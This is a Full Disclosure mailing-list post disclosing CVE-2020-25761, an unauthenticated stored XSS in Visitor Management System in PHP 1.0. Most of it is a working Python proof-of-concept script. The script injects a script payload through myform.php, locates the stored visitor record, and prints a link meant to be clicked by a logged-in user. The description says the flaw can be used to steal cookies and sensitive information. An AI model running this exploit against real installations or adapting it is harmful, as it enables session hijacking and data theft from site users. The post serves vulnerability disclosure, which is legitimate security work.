Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS

From: Ava Tester One <avatesterone () gmail com>
Date: Sat, 19 Sep 2020 19:45:38 -0400

```
# Title: Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: https://projectworlds.in
# Software Link:
https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25761
# Description: The file myform.php does not perform input validation on the
request parameters. An attacker can inject javascript payloads in the
parameters to perform various attacks such as stealing of cookies,sensitive
information etc.

import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s '
https://192.168.1.72:443/visitor_management/'"; % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    XSS_DIR = '/myform.php'
    XSS_URL = SERVER_URL + XSS_DIR
    XSS_PoC_URL = SERVER_URL + '/front.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    payload   = {'name': 'd3crypt','cno':'9876543210','purpose':'stored
xss','MeetingTo':'Hack','comment':'<script>alert("xss")</script>','submit_post':'Submit','mydata':''}
    r1 = s.post(url=XSS_URL, data=payload, verify=False)
    r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//a")
        links = [link.get('data-content', '') for link in refs]
        return [l for l in links]

    visitors = get_links(tree)
    #print(visitors)

    for visitor in visitors:
        if 'stored xss' in visitor:
            rid=visitor.split(':')[6].strip()
            print print_usage('Make the logged-in user click this URL: ' +
XSS_PoC_URL + '?rid=' + rid)

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

Current thread:

- **Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS** *Ava Tester One (Sep 22)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License